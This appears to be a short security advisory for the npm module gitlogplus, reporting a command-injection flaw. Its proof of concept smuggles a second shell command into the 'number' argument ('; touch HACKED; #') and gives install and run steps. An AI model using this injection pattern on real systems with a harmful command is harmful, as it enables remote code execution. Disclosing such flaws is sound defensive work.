gitlogplus

vulnerability remote code execution
severity 3.8
language typescript
registry npm

Description

The gitlogplus module is vulnerable against an arbitrary command injection issue which is made possible since some user-inputs are executed inside a command which doesn't have validations of any kind.

POC

  1. Create the following PoC file:
// poc.js
var git = require('gitlogplus');
git({repo:'.', number:'eeee; touch HACKED; #'})

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i gitlogplus # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created